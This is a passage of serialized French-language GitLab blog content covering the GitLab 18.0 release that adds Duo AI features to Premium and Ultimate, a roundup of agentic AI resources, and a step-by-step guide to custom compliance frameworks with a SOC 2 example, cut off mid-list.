la portée de tous les clients GitLab Premium et Ultimate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2025-05-15\",\n      }",{"title":1267,"description":1268,"authors":1273,"heroImage":1269,"date":1275,"body":1276,"category":676,"tags":1277,"updatedDate":1278},[1274],"David DeSanto, Chief Product Officer, GitLab","2025-05-15","À l’occasion du lancement de GitLab 18.0, nous présentons nos dernières innovations en matière de workflows [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que l'approche DevSecOps ? \"), de sécurité et de conformité, ainsi que d'IA. __Cette nouvelle version marque une étape importante : GitLab Premium et GitLab Ultimate intègrent désormais, sans frais supplémentaires, les capacités d'IA essentielles de GitLab Duo.__ Tous les utilisateurs des éditions Premium et Ultimate bénéficient d'un accès immédiat aux fonctionnalités de chat et de suggestions de code de GitLab Duo, directement dans leurs éditeurs de code source et IDE préférés.\n\n## L'IA au service des équipes de développement\n\nL'intelligence artificielle occupe désormais une place centrale dans le quotidien des équipes de développement. Elle optimise l'écriture de code en analysant le code base en temps réel, en proposant des suggestions au fil de la saisie, en générant des fonctions et méthodes adaptées au contexte du projet, en automatisant les tâches répétitives et en simplifiant les revues de code.\n\nDepuis plusieurs années, nous développons [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/) pour intégrer ces capacités d'IA générative et agentique à notre plateforme, car l'écriture du code ne représente qu'une partie du cycle de développement logiciel : notre [Rapport Global DevSecOps](https://about.gitlab.com/fr-fr/developer-survey/) révèle en effet que les développeurs consacrent 79 % de leur temps à des tâches autres que la création de code. Nous avons donc fait le choix d'intégrer l'IA à chaque étape du cycle de développement logiciel. \n\nNous franchissons aujourd'hui un nouveau cap en incluant les fonctionnalités clés de GitLab Duo dans nos éditions GitLab Premium et GitLab Ultimate, afin que chaque développeur et développeuse puisse bénéficier des avantages de l'IA, sans frais supplémentaires.\n\nEn effet, en intégrant les fonctionnalités de chat et de suggestions de code de GitLab Duo aux éditions GitLab Premium et Ultimate, les ingénieurs logiciels peuvent accélérer leur workflow au sein même de l'IDE, sans devoir installer d'autres outils, gérer des licences distinctes ou se soucier de la gouvernance. Il suffit aux clients Premium et Ultimate existants de passer à GitLab 18.0 pour bénéficier d'un accès instantané à ces fonctionnalités. Elles seront également disponibles pour tous les nouveaux clients.\n\n> **« GitLab a déjà joué un rôle déterminant en nous aidant à nous affranchir d'une chaîne d'outils fragmentée, ce qui a permis de réduire les coûts liés à des solutions disparates et de rationaliser notre workflow. L'ajout de GitLab Duo à GitLab Premium nous permettra d'optimiser notre productivité et de réaliser encore plus d'économies, car nos développeurs consacreront moins de temps aux tâches de codage répétitives et plus de temps à la résolution de défis complexes qui génèrent une valeur métier réelle. »**\n>\n>- Andrei Nita, Chief Technology Officer chez McKenzie Intelligence Services\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1083723619?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Premium with Duo Core\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cbr>\u003C/br>\nLes clients Premium et Ultimate bénéficient désormais des capacités d'IA natives suivantes :\n\n#### Suggestions de code de GitLab Duo\n\n* Génération de fonctions complètes et de blocs de code à partir de commentaires  \n* Complétion de code intelligente au fil de la saisie  \n* Prise en charge de plus de 20 langages de programmation  \n* Intégration aux IDE les plus populaires\n\nDécouvrez la fonctionnalité de suggestions de code de GitLab Duo dans cette présentation interactive (cliquez sur l'image pour démarrer la présentation).\n\n\u003Ca href=\"https://gitlab.navattic.com/code-suggestions\">\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175911/Blog/b5gdnls7jdyrpeyjby5j.png\" alt=\"GitLab Duo Code Suggestions cover image\">\u003C/a>\n\nConsultez notre [documentation sur les suggestions de code de GitLab Duo]( https://docs.gitlab.com/user/project/repository/code_suggestions/ ) pour en savoir plus.\n\n#### GitLab Duo Chat\n\n* Explication de code pour faciliter la compréhension des fonctions complexes  \n* Refactorisation du code existant pour améliorer sa qualité et sa maintenabilité  \n* Génération de scénarios de test complets pour vous aider à détecter les bugs dès les premières étapes du développement  \n* Correction des anomalies directement dans votre workflow\n\n![GitLab Duo Chat : explication du point de terminaison de l'API](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673912/Blog/Content%20Images/Duo_Chat_-_gif_-_API_endpoint_explanation__3_.gif)\n\nPour en savoir plus, consultez notre [documentation sur GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/).\n\n> **« Pour nous, en tant qu'utilisateurs de GitLab, les suggestions de code intelligentes de GitLab Duo sont devenues un atout quotidien pour nos développeurs. Combinées à la fonctionnalité de chat, elles permettent d'effectuer des itérations rapides, avec un retour immédiat, pour des cycles de développement plus fluides et un code plus sécurisé. Elles constituent une intégration à la fois fluide et puissante à nos workflows. »**\n>\n>- Felix Kortmann, Chief Technology Officer, Ignite by FORVIA HELLA\n\n## GitLab Duo Enterprise disponible pour les clients GitLab Premium\n\nFace à une forte demande, nous avons le plaisir d'annoncer que les clients [GitLab Premium](https://about.gitlab.com/fr-fr/pricing/premium/) peuvent désormais acheter une licence GitLab Duo Enterprise, notre suite complète de solutions d'IA, sans avoir à passer à GitLab Ultimate. Ils bénéficient ainsi d'une expérience d'IA exceptionnelle, avec des fonctionnalités avancées parfaitement intégrées à chaque étape du développement logiciel :\n\n* [L'analyse des causes profondes](https://docs.gitlab.com/user/gitlab_duo/use_cases/#root-cause-analysis-use-cases) pour diagnostiquer et résoudre rapidement les [échecs de pipelines CI/CD](https://about.gitlab.com/fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/ \"Échecs de pipelines CI/CD\") et veiller à leur bon fonctionnement. \n\n* [La revue de code](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/#have-gitlab-duo-review-your-code) qui utilise GitLab Duo comme relecteur pour accélérer la révision des modifications proposées dans une merge request.\n\n* [Le chat avancé](https://docs.gitlab.com/user/gitlab_duo_chat/) pour résumer les conversations. Il aide à comprendre les modifications apportées au code et fournit une assistance avancée pour la configuration.  \n\n* [GitLab Duo Self-Hosted](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/) pour déployer GitLab Duo dans des environnements air-gapped et hors ligne en hébergeant des modèles d'IA approuvés.\n\nAu-delà de la disponibilité de GitLab Duo Enterprise, nous renforçons en continu notre engagement auprès des clients GitLab Premium. Depuis le lancement de GitLab 17, [nous avons déployé plus d'une centaine de nouvelles fonctionnalités et d'améliorations](https://gitlab.com/gitlab-org/gitlab/-/releases), dont voici quelques exemples notables : \n\n* Le [**catalogue CI/CD**](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) permet aux équipes de développement de partager, découvrir et réutiliser   \ndes configurations et des composants CI/CD préexistants.  \n* [**Le registre des artefacts**](https://docs.gitlab.com/user/packages/virtual_registry/) offre aux équipes de développement un accès sécurisé aux artefacts et une intégration homogène aux [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \").  \n* [**Le développement à distance**](https://docs.gitlab.com/user/project/remote_development/) permet aux équipes de développement de travailler dans des environnements de développement à la demande, hébergés dans le cloud.\n\n> [Découvrez les fonctionnalités de GitLab Premium.](https://about.gitlab.com/fr-fr/pricing/premium/#wp-premium-features)\n\n## GitLab Duo : une IA qui s'adapte aux besoins des entreprises\n\nGitLab propose une gamme complète de fonctionnalités GitLab Duo dans ses offres Pro et Enterprise, pour accompagner ses clients à chaque étape de leur cycle d'adoption de l'IA. Plus vos équipes progressent dans ce cycle, et plus vous pouvez utiliser de fonctionnalités pour créer, tester et déployer plus rapidement des logiciels sécurisés.\n\n![Principales fonctionnalités des forfaits GitLab Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673912/Blog/Content%20Images/Screenshot_2025-05-14_at_8.50.34_AM.png)\n\n## Comment les clients GitLab Ultimate et Premium peuvent-ils activer GitLab Duo ?\n\nÀ partir de GitLab 18.0, pour les clients Ultimate et Premium existants, les fonctionnalités de suggestions de code et de chat de GitLab Duo sont désactivées par défaut, mais peuvent facilement être activées.\n\nVous trouverez la procédure à suivre ci-dessous : \n\n1. Vérifiez avant tout que vous disposez de GitLab Premium ou Ultimate. Dans le cas contraire, vous pouvez démarrer un essai gratuit. \n\n2. Activez GitLab Duo dans vos paramètres.\n\n3. Si vous utilisez un IDE local, installez l'[extension d'éditeur de code](https://docs.gitlab.com/editor_extensions/#available-extensions) GitLab de votre choix. \n\n4. Commencez à utiliser les suggestions de code et le chat dans l'IDE local de votre choix, s'il est pris en charge, ou dans le Web IDE de GitLab.\n\n**Remarque :** les fonctionnalités d'IA de GitLab seront activées automatiquement pour les nouveaux clients et les versions d'essai.\n\n## Le développement IA native avec une plateforme DevSecOps\n\nL'IA redéfinit l'expérience de développement. Les entreprises ne vont pas seulement recruter davantage de talents pour créer leurs logiciels. Elles vont également disposer de davantage de code généré par l'IA et prêt à être déployé en production, **ce qui rend GitLab plus essentiel que jamais.** \n\nNous avons conçu GitLab Premium et Ultimate avec GitLab Duo spécifiquement dans cet état d'esprit, afin d'offrir aux équipes une base sécurisée pour l'ensemble de leur code. À mesure que l'IA génère du code à l'échelle de votre entreprise, GitLab devient votre plateforme de contrôle, éliminant ainsi le recours à des outils distincts pour le scanning de sécurité, les contrôles de conformité ou la gestion des pipelines. Vous pouvez entièrement vous appuyer sur notre plateforme unique et unifiée, qui évolue avec votre entreprise. Elle vous garantit la qualité, la sécurité et la conformité de votre code jusqu’à sa mise en production. \n\n> Pour en savoir plus sur GitLab Duo et tous ses avantages pour votre équipe, [consultez notre page GitLab Premium](https://about.gitlab.com/fr-fr/pricing/premium/) ou, si vous êtes un client GitLab, contactez votre représentant GitLab pour organiser une démonstration. Enfin, nous vous invitons à participer au [lancement virtuel de GitLab 18](https://about.gitlab.com/eighteen/) le 24 juin 2025, afin de découvrir l'avenir du développement logiciel basé sur l'IA native.\n",[699,1067,827,675,676],"2025-05-20",{"slug":1280,"featured":92,"template":683},"gitlab-premium-with-duo","content:fr-fr:blog:gitlab-premium-with-duo.yml","Gitlab Premium With Duo","fr-fr/blog/gitlab-premium-with-duo.yml","fr-fr/blog/gitlab-premium-with-duo",{"_path":1286,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1287,"content":1292,"config":1299,"_id":1301,"_type":16,"title":1302,"_source":17,"_file":1303,"_stem":1304,"_extension":20},"/fr-fr/blog/agentic-ai-guides-and-resources",{"ogTitle":1288,"schema":1289,"ogImage":1004,"ogDescription":1290,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1291,"title":1288,"canonicalUrls":1291,"description":1290},"L'IA agentique : guides et ressources","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"L'IA agentique : guides et ressources\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-05-07\",\n      }\n                  ","Découvrez ce qu’est l'IA agentique, son fonctionnement, ses avantages, ainsi que les bonnes pratiques pour l'intégrer à vos projets. ","https://about.gitlab.com/blog/agentic-ai-guides-and-resources",{"heroImage":1004,"body":1293,"authors":1294,"updatedDate":1296,"date":1297,"title":1288,"tags":1298,"description":1290,"category":697},"## IA agentique : définition\n\nL'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA agentique ?\") désigne une forme avancée d'intelligence artificielle capable d'agir de manière autonome en s'appuyant sur des modèles de langage sophistiqués et le traitement du langage naturel.\n\nContrairement à l'IA générative traditionnelle, qui nécessite une intervention humaine constante, l'IA agentique comprend les instructions, prend des décisions éclairées et exécute plusieurs séquences d'action pour atteindre un objectif défini. Elle décompose les tâches complexes en étapes plus simples et adapte sa stratégie en temps réel grâce à sa capacité d'apprentissage adaptatif lorsqu'elle rencontre des obstacles.\n\n## Informations clés sur l'IA agentique\n\n* [Vers une nouvelle ère du développement logiciel grâce à l’IA agentique](https://about.gitlab.com/the-source/ai/emerging-agentic-ai-trends-reshaping-software-development/) : découvrez comment l'IA agentique transforme le développement logiciel en remplaçant le codage isolé par des workflows intelligents qui améliorent la productivité et garantissent la sécurité.\n* [IA agentique : libérez le plein potentiel des développeurs à grande échelle](https://about.gitlab.com/fr-fr/the-source/ai/agentic-ai-unlocking-developer-potential-at-scale/) : découvrez comment l'IA agentique révolutionne le développement logiciel en dépassant la simple complétion de code pour donner naissance à de véritables partenaires d'IA capables de gérer des tâches complexes de manière proactive.\n* [Tendances de l'IA en 2025 : IA agentique, modèles auto-hébergés et bien plus encore](https://about.gitlab.com/fr-fr/the-source/ai/ai-trends-for-2025-agentic-ai-self-hosted-models-and-more/) : découvrez les principales tendances du développement logiciel alimenté par l'IA, des déploiements de modèles sur site aux agents d'IA intelligents et adaptatifs.\n* [L'IA agentique au service des équipes d'ingénierie de plateforme](https://about.gitlab.com/the-source/ai/how-agentic-ai-unlocks-platform-engineering-potential/) : découvrez comment l'IA agentique révolutionne l'ingénierie de plateforme en automatisant les workflows complexes et en intensifiant les efforts de standardisation.\n\n## Bonnes pratiques pour intégrer l'IA agentique\n\n* [Agents d’IA : sécurisez leur autonomie avec des garde-fous efficaces](https://about.gitlab.com/the-source/ai/implementing-effective-guardrails-for-ai-agents/) : découvrez les garde-fous de sécurité indispensables à l'approche [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") pour encadrer les agents d'IA, tels que les contrôles de conformité, la sécurisation de l'infrastructure et la gestion des accès utilisateurs.\n\n## Les offres de GitLab en matière d'IA agentique\n\n### GitLab Duo combiné à Amazon Q\n\n* [GitLab Duo combiné à Amazon Q : l'IA agentique optimisée pour AWS est désormais disponible à tous les utilisateurs](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/) : la plateforme DevSecOps complète alimentée par l'IA de GitLab, combinée aux fonctionnalités de cloud computing les plus avancées, accélère les cycles de développement, augmente l'automatisation et améliore la qualité du code.\n* [DevSecOps + IA agentique : maintenant disponibles avec GitLab Self-Managed Ultimate sur AWS](https://about.gitlab.com/blog/devsecops-agentic-ai-now-on-gitlab-self-managed-ultimate-on-aws/) : utilisez des agents d'IA optimisés pour l'approche DevSecOps dans votre instance GitLab Self-Managed Ultimate sur AWS et tirez pleinement parti des fonctionnalités de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"Qu'est-ce que GitLab Duo ?\") combiné à Amazon Q au sein de votre entreprise.\n\nPour en savoir plus, consultez notre page [GitLab et AWS](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/ \"GitLab Duo et AWS\") et visionnez une démonstration de GitLab Duo combiné à Amazon Q :\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1075753390?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Technical Demo: GitLab Duo with Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n#### Visite guidée\n\nCliquez sur l'image pour une visite guidée de GitLab Duo combiné à Amazon Q :\n\n[![Présentation interactive de GitLab Duo combiné à Amazon Q](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673568/Blog/Content%20Images/Screenshot_2025-05-07_at_7.24.45_AM.png)](https://gitlab.navattic.com/duo-with-q)\n\n#### Tutoriel GitLab Duo combiné à Amazon Q\n\n* [GitLab Duo combiné à Amazon Q : créez de nouvelles fonctionnalités en quelques minutes](https://about.gitlab.com/fr-fr/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes/) : GitLab Duo combiné à Amazon Q analyse les descriptions de vos tickets et génère automatiquement des solutions de code complètes et opérationnelles, pour des workflows de développement plus rapides.\n\n### GitLab Duo Workflow\n\n* [GitLab Duo Workflow](https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/) : l'avenir du développement logiciel basé sur une IA agentique sécurisée\n* [GitLab Duo Workflow : une IA agentique offrant visibilité et contrôle à l'échelle de l'entreprise](https://about.gitlab.com/fr-fr/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/) : nos agents d'IA sécurisés et autonomes comprennent le contexte et prennent en charge les tâches complexes. Les équipes de développement sont ainsi en mesure de livrer des logiciels innovants plus rapidement. La liste d'attente pour l'accès à la version bêta privée de GitLab Duo Workflow est ouverte.\n* [Documentation GitLab Duo Workflow](https://docs.gitlab.com/user/duo_workflow/)\n\nRegardez cette présentation de GitLab Duo Workflow :\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/eN2Sd5UNc0g?si=C9HibBJ3QDDHADq2\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Visite guidée\n\nCliquez sur l'image pour démarrer une visite de GitLab Duo Workflow :\n\n[![Visite guidée de GitLab Duo Workflow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673569/Blog/Content%20Images/Screenshot_2025-05-07_at_7.29.57_AM.png)](https://gitlab.navattic.com/duo-workflow)\n\n#### Tutoriels et cas d'utilisation de GitLab Duo Workflow\n\n* [Refactorisation de JavaScript en TypeScript avec GitLab Duo Workflow](https://about.gitlab.com/blog/refactoring-javascript-to-typescript-with-gitlab-duo-workflow/)\n* [Automatisation des tâches de codage fastidieuses avec GitLab Duo Workflow](https://about.gitlab.com/blog/automate-tedious-coding-tasks-with-gitlab-duo-workflow/) : découvrez comment l'IA agentique peut réduire le temps que vous consacrez aux tâches répétitives afin de vous aider à vous concentrer sur le développement et la livraison de solutions innovantes.\n* [GitLab Duo Workflow : améliorez l'assurance qualité de vos applications](https://about.gitlab.com/fr-fr/blog/use-gitlab-duo-workflow-to-improve-application-quality-assurance/) : découvrez étape par étape comment ajouter des tests unitaires à une application Java à l'aide de l'IA agentique.\n* [Résolution de défis complexes avec GitLab Duo Workflow](https://about.gitlab.com/blog/solving-complex-challenges-with-gitlab-duo-workflow/) : découvrez comment l'équipe Customer Success de GitLab utilise l'IA agentique pour résoudre des problèmes concrets comme les limites des charts Helm dans le registre de paquets.\n\n## Autres ressources sur l'IA\n\n* [Rapport Global DevSecOps 2024 : la maturité de l'IA dans l'approche DevSecOps](https://about.gitlab.com/fr-fr/developer-survey/2024/ai/)\n* [Le rôle de l'IA dans l'approche DevOps](https://about.gitlab.com/fr-fr/topics/devops/the-role-of-ai-in-devops/)\n* [Les articles récents de GitLab sur l'IA et le ML](https://about.gitlab.com/fr-fr/blog/categories/ai-ml/)",[1295],"GitLab","2025-06-23","2025-05-07",[699,1067,1069],{"slug":1300,"featured":92,"template":683},"agentic-ai-guides-and-resources","content:fr-fr:blog:agentic-ai-guides-and-resources.yml","Agentic Ai Guides And Resources","fr-fr/blog/agentic-ai-guides-and-resources.yml","fr-fr/blog/agentic-ai-guides-and-resources",{"_path":1306,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1307,"content":1313,"config":1320,"_id":1322,"_type":16,"title":1323,"_source":17,"_file":1324,"_stem":1325,"_extension":20},"/fr-fr/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"ogTitle":1308,"schema":1309,"ogImage":1310,"ogDescription":1311,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1312,"title":1308,"canonicalUrls":1312,"description":1311},"Intégrez la conformité à vos workflows DevSecOps avec GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Frameworks de conformité personnalisés de GitLab : intégrez la conformité à vos workflows DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-30\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097104/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_3LZkiDjHLjhqEkvOvBsVKp_1750097104092.png","Découvrez comment les frameworks de conformité personnalisés de GitLab transforment vos exigences réglementaires en composants intégrés et automatisés dans vos workflows.\n","https://about.gitlab.com/blog/how-to-use-gitlabs-custom-compliance-frameworks-in-your-devsecops",{"title":1308,"description":1314,"authors":1315,"heroImage":1310,"date":1317,"body":1318,"category":673,"tags":1319},"Découvrez comment les frameworks de conformité personnalisés de GitLab transforment vos exigences réglementaires en composants intégrés et automatisés dans vos workflows.",[1316],"Fernando Diaz","2025-04-30","La conformité n'est plus une formalité, mais un vecteur stratégique : elle aide à maîtriser les risques opérationnels, renforce la confiance des clients et améliore la performance globale. Pourtant, trouver l'équilibre entre exigences de conformité et vélocité peut s'avérer particulièrement complexe pour les équipes de développement logiciel. Les [frameworks de conformité personnalisés](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) de GitLab apportent une réponse concrète à cette problématique en intégrant la vérification de la conformité directement dans vos workflows de développement. \n\nDécouvrez dans cet article tout ce que vous devez savoir sur les frameworks de conformité personnalisés de GitLab et comment les utiliser de façon optimale.\n\n## Qu’est-ce qu’un framework de conformité personnalisé ?\n\nLes frameworks de conformité personnalisés de GitLab vous permettent de définir, d'appliquer et de faire respecter vos propres normes de conformité directement dans votre instance GitLab. GitLab propose déjà des fonctionnalités de conformité « prêtes à l’emploi », mais chaque entreprise a ses propres obligations. Avec les frameworks personnalisés, vous pouvez donc définir vos propres stratégies de conformité en fonction de réglementations spécifiques, de vos politiques internes ou des normes de votre secteur.\n\nCes frameworks offrent les principaux avantages suivants : \n\n* Réduction significative du suivi manuel  \n* Accélération de la préparation aux audits  \n* Intégration native des contrôles de conformité\n\n![Capture d'écran du centre de conformité avec les frameworks répertoriés](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097114254.png)\n\nGitLab propose à ce jour plus de 50 contrôles préconfigurés, modifiables, que vous pouvez activer selon vos besoins. Ils couvrent un large éventail de réglementations, comme la loi HIPAA dans le domaine de la santé, le RGPD pour la protection des données, la [norme SOC 2](https://about.gitlab.com/fr-fr/the-source/security/how-gitlab-can-help-you-prepare-for-your-soc-2-exam/ \"Norme SOC 2\") relative aux prestataires de services et bien d'autres réglementations propres à des secteurs d'activité spécifiques. En voici quelques exemples :\n\n* Séparation des tâches : au moins deux approbateurs requis, y compris l'auteur de la merge request  \n* Scanners de sécurité : scans [SAST](https://docs.gitlab.com/user/application_security/sast/) et [analyse des dépendances](https://docs.gitlab.com/user/application_security/dependency_scanning/) exécutés automatiquement  \n* Authentification/autorisation : visibilité du projet définie sur privé et authentification unique (SSO) activée  \n* Configuration de l'application : vérification obligatoire des statuts de conformité et utilisation de fichiers de configuration Terraform exigée\n\nEn outre, vous pouvez étendre les capacités de conformité de GitLab en configurant vos propres contrôles sur des environnements externes à l'aide de l'API GitLab.\n\n## Comment créer un framework de conformité personnalisé dans GitLab ?\n\nMaintenant que nous avons clarifié l’importance des frameworks de conformité personnalisés, voyons comment les mettre en œuvre dans votre environnement GitLab, en utilisant l'application de démonstration reprise dans la vidéo ci-dessous. \n\n**Remarque :** un abonnement [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"Qu'est-ce que GitLab Ultimate ?\") est requis.\n\n\u003C!-- TODO: EMBED_YT_VIDEO -->\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/bSwwv5XeMdQ?si=unDwCltF4vTHT4mB\" title=\"Adhering to compliance requirements with built-in compliance controls\n\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Étape 1 : définissez vos exigences de conformité**\n\nAvant de créer votre framework de conformité personnalisé, vous devez définir clairement vos exigences en la matière :\n\n1. **Identifiez les réglementations applicables :** déterminez les obligations légales et normes qui s'appliquent à votre entreprise (par exemple, le RGPD, la norme PCI DSS ou la loi HIPAA). \n2. **Associez les exigences à des contrôles :** décomposez chaque exigence réglementaire identifiée en contrôles spécifiques et exploitables.  \n3. **Hiérarchisez les exigences :** concentrez vos efforts sur les domaines à haut risque et les exigences à fort impact.\n\n**Étape 2 : créez votre framework de conformité personnalisé dans GitLab**\n\nVoici comment procéder :\n\n1. Accédez à la section **Sécurisation > Centre de conformité** de votre groupe GitLab.  \n2. Cliquez sur le bouton **Nouveau framework**.  \n3. Sélectionnez **Créer un framework vide**.\n\n![Écran de création d'un framework de conformité personnalisé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097114255.png)\n\n4. Renseignez son nom, sa description et choisissez sa couleur.\n\n![Écran Nouveau framework de conformité](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097114257.png)\n\n5. Ajoutez des exigences :\\\n   a. Accédez à l'onglet **Exigences**.\n\n   b. Cliquez sur le bouton **Nouvelle exigence**.\n\n   c. Fournissez un nom et une description.\\\n   d. Dans la section **Contrôles**, sélectionnez **Choisir un contrôle GitLab**.\\\n   e. Sélectionnez un contrôle dans la liste (par exemple, au moins deux approbations, l'exécution de scans SAST).\\\n   f. Cliquez ensuite sur le bouton **Créer une exigence**.\n\n![Bouton Créer une exigence](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097114258.png)\n\n6. Cliquez sur le bouton **Créer un framework**.\n\nUne fois créé, ce framework pourra être appliqué à vos projets selon les paramètres définis. Par ailleurs, GitLab permet également d'importer des frameworks de conformité au format JSON, selon le schéma prévu.\n\n**Étape 3 : appliquez le framework à vos projets**\n\nUne fois votre framework de conformité créé, suivez les étapes ci-dessous pour l’appliquer à un ou plusieurs projets :\n\n1. Accédez au **Centre de conformité** de GitLab, puis sélectionnez l'onglet **Projets**.  \n2. Utilisez la barre de recherche pour **Rechercher** ou **Filtrer** les projets concernés.  \n3. Sélectionnez le ou les projets dans la liste.  \n4. Cliquez sur le bouton **Choisir une action groupée**.  \n5. Sélectionnez **Appliquer les frameworks aux projets sélectionnés**.  \n6. Cliquez sur le bouton **Sélectionner des frameworks**.  \n7. Sélectionnez le ou les frameworks de votre choix dans la liste.  \n8. Cliquez sur le bouton **Appliquer**.\n\n![Écran du Centre de conformité avec la liste déroulante affichant le framework SOC 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097114260.png)\n\nUne fois cette opération effectuée, le framework sélectionné est associé aux projets choisis. Les exigences définies sont alors visibles et peuvent être vérifiées directement dans l'interface GitLab.\n\n**Étape 4 : surveillez et générez des rapports de conformité**\n\nUne fois votre framework de conformité en place, GitLab vous offre un suivi continu et centralisé dans le **Centre de conformité** :\n\n1. Suivez le statut de conformité de vos projets, y compris les détails sur les contrôles appliqués, ainsi que des correctifs suggérés pour les contrôles ayant échoué.\n2. Générez des **rapports de conformité** pour les audits et l'examen par les parties prenantes.  \n3. Configurez des **alertes de conformité** pour informer les parties prenantes des problèmes de conformité potentiels. \n4. Consultez les **événements d'audit** pour une vue d'ensemble des mesures prises concernant les paramètres de conformité.\n\n![Écran du Centre de conformité affichant le framework de test SOC 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097114/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097114263.png)\n\n## Exemple : mise en œuvre d'un framework de conformité SOC 2\n\nLe SOC 2 (System and Organization Controls 2), développée par l'American Institute of Certified Public Accountants, est une norme d'audit rigoureuse qui évalue les contrôles mis en œuvre par les prestataires de services en matière de sécurité, de disponibilité, d'intégrité du traitement des données, de confidentialité et de protection des données personnelles. Pour en savoir plus, consultez le [guide sur le respect des exigences de sécurité SOC 2 avec GitLab](https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab/).\n\nVoici un exemple concret d'implémentation d'un framework de conformité personnalisé GitLab dont l'objectif est de vérifier la conformité à la norme de sécurité SOC 2 à l’aide des contrôles GitLab préconfigurés suivants :\n\n* Contrôles contre les accès non autorisés  \n* Procédures d'identification et d'atténuation des risques  \n* Systèmes de détection et de gestion des incidents de sécurité\n\n**Avertissement :** il ne s'agit là que d'un exemple qui illustre certains des contrôles possibles pour vérifier l'adhésion à la norme SOC 2. Avant toute mise en production, validez votre configuration avec votre équipe sécurité ou conformité.\n\nCe framework se présentera comme suit :\n\n* **Nom :** Exigences de sécurité SOC 2  \n* **Description :** Ajout des exigences de sécurité pour la conformité au framework SOC 2  \n* **Exigences :**  \n\n  * **Contrôles contre les accès non autorisés**  \n\n    * Authentification SSO activée  \n    * Portée des tokens pour les jobs CI/CD activée \n    * Authentification multifacteur requise au niveau de l'entreprise\n* **Procédures d'identification et d'atténuation des risques**   \n\n  * Au moins deux approbations requises avant tout merge \n  * Merge request approuvée par l'auteur      \n  * Merge request approuvée par les validateurs \n  * Branche par défaut protégée    \n* **Systèmes de 